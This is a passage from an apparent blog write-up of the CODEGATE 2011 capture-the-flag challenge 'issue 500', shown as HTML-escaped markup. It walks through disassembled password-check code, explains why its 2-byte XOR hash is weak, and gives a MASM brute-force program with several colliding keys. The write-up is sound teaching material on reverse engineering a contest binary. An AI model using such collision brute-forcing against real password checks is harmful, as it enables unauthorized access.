New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:023B&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp di, 5&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:023E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnb short getChar&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:0240&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov [bx+di], al&amp;nbsp;&amp;nbsp;&amp;nbsp; ;bx=offset temp_password&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Courier New;"&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;di=pointer&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Courier New;"&gt;&lt;i&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;al=read char&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:0242&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inc di&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The password is of 16 bytes of length (0x10), and it's initialized with an space ' ' (0x20) except by the characters that the user entered previously.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:027D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov al, 20h ; ' '&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:027F&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:027F&amp;nbsp;pad_password: &lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: orange; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:027F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmp di, 10h&amp;nbsp;&amp;nbsp; ;di=number of readed key-strokes&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:0282&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;jnb short checkPassword&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:0284&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov [bx+di], al&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:0286&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inc di&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;seg000:0287&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;jmp short pad_password&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, with this information, now we can do a bruteforce attack. Basically, we need to replicate the '&lt;i&gt;encrypt_pwd&lt;/i&gt;' function and iterate over all the passwords until we found a collision:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;password=' ' x 16&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;while (calcPasswordHash(password) != 0x2002)&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; iterate(password[0..5])&amp;nbsp; //aaaaa&amp;nbsp;baaaa caaaa&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;print "Found" + password[0..5]&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;I implemented the code in MASM, copy and paste the code and creating a bruteforce loop. In one second, we have at least one valid collision "&lt;b&gt;KD#&lt;/b&gt;"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh4.googleusercontent.com/-X08q885oXo0/TXVrgWbhRbI/AAAAAAAAADI/KGKTJ3XdySE/s1600/solved.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="188" q6="true" src="https://lh4.googleusercontent.com/-X08q885oXo0/TXVrgWbhRbI/AAAAAAAAADI/KGKTJ3XdySE/s640/solved.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;More keys:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt;MLJKE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt;FKBKF&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt;DNKHG&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt;NDIFI&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt;ECAFJ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt;GFHEK&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt;BCIBL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt;KAHAN&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As we can see, the algorithm is quite easy to break, basically because:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;XOR algorithm xD&lt;/li&gt;&lt;li&gt;Password constrains (only uses 5 first bytes of the password, rest are padding with ' ' --0x20--)&lt;/li&gt;&lt;li&gt;The hash&amp;nbsp;is checked only against 2 bytes of the key (0x2002), so it's easy to check for collisions&lt;/li&gt;&lt;/ul&gt;As a reference, the source code (yep, i know, crappy code). If you prefer, you can download it from &lt;a href="https://code.google.com/p/sbs-code/source/browse/trunk/ctf/CODEGATE_2011/issue500/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;; CODEGATE 2011 issue 500&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;include \masm32\include\masm32rt.inc&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;; &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;.data&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; item dd 0&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MIN_CHAR db 40h&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MAX_CHAR db 50h&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; temp_passwd db 10h dup(' '),0&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; password_ok db 2,' gate'&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;.code&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;start:&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call main&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;main proc&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cls&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebx, offset temp_passwd&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov edi, 5&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov al, 20h &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; loc_27F: &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp edi, 10h&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnb short genNewPassword&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov [ebx+edi], al&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inc di&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp short loc_27F&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; genNewPassword:&amp;nbsp;&amp;nbsp;&amp;nbsp; ;Sloppy code to implement&amp;nbsp;bruteforce (aaaaa,baaaa,...)&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov cl,MIN_CHAR&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov dl,MAX_CHAR&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebx, offset temp_passwd&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inc BYTE PTR [ebx]&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp BYTE PTR [ebx],dl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jne tryPassword&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov BYTE PTR [ebx],cl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inc BYTE PTR [ebx+1]&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp BYTE PTR [ebx+1],dl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jne tryPassword&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov BYTE PTR [ebx+1],cl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inc BYTE PTR [ebx+2]&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp BYTE PTR [ebx+2],dl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jne tryPassword&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov BYTE PTR [ebx+2],cl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inc BYTE PTR [ebx+3]&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp BYTE PTR [ebx+3],dl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jne tryPassword&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov BYTE PTR [ebx+3],cl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inc BYTE PTR [ebx+4]&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp BYTE PTR [ebx+4],dl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; je end_main&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp tryPassword &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; tryPassword:&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor eax, eax&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor ebx, ebx&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor ecx, ecx&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor edx, edx&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov cl, 10h&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor dx, dx&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov esi, offset temp_passwd&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cld&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; enc_loop: &lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lodsb&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call checkPWD&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dec cl&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnz short enc_loop&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp dx, word ptr ds:password_ok ;0x2002&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jz short key_found&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;print "Wrong password",10,10&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;mov ebx, offset temp_passwd&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;print ebx,13,10&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jmp genNewPassword&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; key_found:&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print 